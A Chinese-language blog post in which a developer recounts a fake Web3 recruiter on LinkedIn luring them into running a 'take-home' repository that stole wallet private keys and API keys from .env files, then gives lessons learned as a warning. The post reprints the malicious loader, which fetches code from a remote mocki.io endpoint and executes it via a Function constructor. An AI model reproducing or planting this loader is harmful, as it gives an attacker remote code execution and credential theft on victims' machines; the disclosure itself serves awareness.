LinkedIn 找工作私鑰被偷了,幹
先說,資產沒事,因為我平時有把開發的地址跟實際交易使用的地址分開,對方雖然拿到我的私鑰,但裡面只有一堆測試幣。
LinkedIn 找工作私鑰被偷了,幹
先說,資產沒事,因為我平時有把開發的地址跟實際交易使用的地址分開,對方雖然拿到我的私鑰,但裡面只有一堆測試幣。
事件始於我最近開始經營 LinkedIn,然後收到一則私訊:

除了他以外,我還收到太多看起來就像詐騙的訊息,有幾個共同點就是 Web3 新創、沒有 JD、而且很積極想招募你。
但因為對方的帳號是有打勾的、粉絲數不少,看起來有在經營,再加上他自稱是 “Seracle Labs” 的人,查了一下這間公司在 X 上面確實有個藍勾勾帳號。當時覺得可以試一下,如果對方提到要連結錢包再 block 他,沒想到還是太大意了。
這是對方寄給我的信:

裡面的連結在這裡 (更:已經被移除了),可以點進去研究,但不要下載下來,更不要去執行🙅
這封信 tricky 的地方在於,對方並沒有要求我去把程式碼下載並執行,他只是要我回答這五個問題。
但有點 sense 的軟體工程師應該知道,想要解第三題,勢必得要把程式碼在本地端跑起來,才能看前端畫面到底有什麼 bug。
嗯,對,至少我是這麼做的,然後我就中招了。
當我把程式跑起來以後,對方過幾分鐘就在 LinkedIn 上面告訴我,他們的內部工程師已經看完我的履歷,覺得我可以跳過這些題目,直接進入實體面試,然後很積極要跟我約時間。
但推測是因為它們已經成功取得我的私鑰了,然後發現裡面沒有有價值的代幣,所以想要做進一步攻擊。
總之我當下並沒有馬上反應過來,而是先休息了幾個小時。過程中剛好跟其他工程師聊到這場面試,對方告訴我這可能是個陷阱,於是我請 Claude Code 幫我檢查一下代碼庫有沒有什麼可疑的地方,結果馬上就發現問題。
這邊附上惡意代碼,它位於 src/auth/controllers/orderController.js:
const errorHandler = (error) => {
try {
if (typeof error !== 'string') {
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
// Get Logged In User Orders
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
const orders = await Order.find({ user: req.user._id });
if (!orders) {
return next(new ErrorHandler("Order Not Found", 404));
}
res.status(200).json({
success: true,
orders,
});
});
exports.getCookie= asyncErrorHandler(async (req, res, next) => {
axios.get(`https://api.mocki.io/v2/5lqh5wzt/tracks/errors/376890`)
.then(res => errorHandler(res.data.cookie))
.catch(
);
})();
這段代碼是一個 RCE (Remote Code Execution) 攻擊,會發送 API 去遠端抓資料到本地端執行,而且不需要我特別賦予權限。
根據 Claude Code 回報的結果,在我休息的那段時間,我的電腦跟外部建立了很多可疑的連線,並且把本機所有 .env* file 都存取了一遍,裡面包含錢包私鑰跟一些 API key。
我去檢查了一下 Claude Code 提到的惡意連線,發現還真的有,所以大概率我的錢包私鑰也已經外流了。
當然,這只是 Claude Code 有發現的內容,不一定是全部。但我可以確定的是對方確實不懷好意。因為不知道電腦裡還被裝了什麼後門,只能重灌。
後續我也裝作不知道已經發現自己被駭了,繼續參與對方提到的面試,想看他們到底葫蘆裡在賣什麼藥,結果面試的時候對方還真的出現了,開了個 google meet,而且還有實體真人 (DeepFake?)

這個女生負責的是人資面試的部份,講話還挺有禮貌的,對我很有耐心,跟真實的面試區別不大,會關心我學習的經驗、對區塊鏈的想法等等。
然後第二關就是技術面試,要我登進去一個網站刷題,並且要開螢幕錄影確保我沒有使用 AI。其實是一個相當合理的要求,但礙於已經知道對方不懷好意,這一關我就沒有繼續下去。
被我拒絕並揭露以後對方似乎有點惱羞,開始批評我想要透過這種爛理由來彌補自己能力不足,後來就被他封鎖了,祝他屁股開花死全家。

總結一下,這次 RCE 攻擊之所以會成功,有很多地方還是我的疏失:
- 相信 LinkedIn 上面真的會有人主動希望我去工作。
- 沒有意識到他其實是間接要求我下載並執行代碼。
- 下載下來以後沒有先請 AI 幫我檢查一遍代碼。
- 跑代碼之前沒有使用沙盒隔離環境。
但我做對了一點:
- 真正擁有資產的錢包私鑰沒有放在 .env。
發現問題之後我除了重灌電腦,也把資產全部轉移到冷錢包,這陣子先避避風頭。
我發文之後發現身邊有人也中過招,大家找 Web3 工作真的要小心,希望不要再有人受害。
後記:
事發一個月後在社群媒體 (Threads, LinkedId) 上看到有其他人也中招,不過他的情況比我更嚴重 (被盜 2萬 u)
- 我是下載下來並執行後才中招,他是打開 IDE 就中招了 (攻擊透過 .vscode/ 裡面的腳本執行,請參考 open-source malware)
- 對方偷的東西不只是
.env裡面的私鑰,而是直接取得瀏覽器裡面的密碼,然後盜用錢包 (具體是怎麼辦到的我也看得很矇)
類似攻擊手法在 2025 年初也有人分享:掉了一台進口車的故事 (被盜 4萬 u)
相較之下我遇到的駭客好像比較菜,還算是有點幸運了。
메타데이터
- post_id
- 7c064c5c8f2d
- slug
- linkedin-找工作私鑰被偷了-幹-7c064c5c8f2d
- url
- https://medium.com/@df41022/linkedin-%E6%89%BE%E5%B7%A5%E4%BD%9C%E7%A7%81%E9%91%B0%E8%A2%AB%E5%81%B7%E4%BA%86-%E5%B9%B9-7c064c5c8f2d
- canonical_url
- https://medium.com/@df41022/linkedin-%E6%89%BE%E5%B7%A5%E4%BD%9C%E7%A7%81%E9%91%B0%E8%A2%AB%E5%81%B7%E4%BA%86-%E5%B9%B9-7c064c5c8f2d
- author_url
- https://medium.com/@df41022
- status
- ok
- fetched_at
- 2026-07-14 11:36:08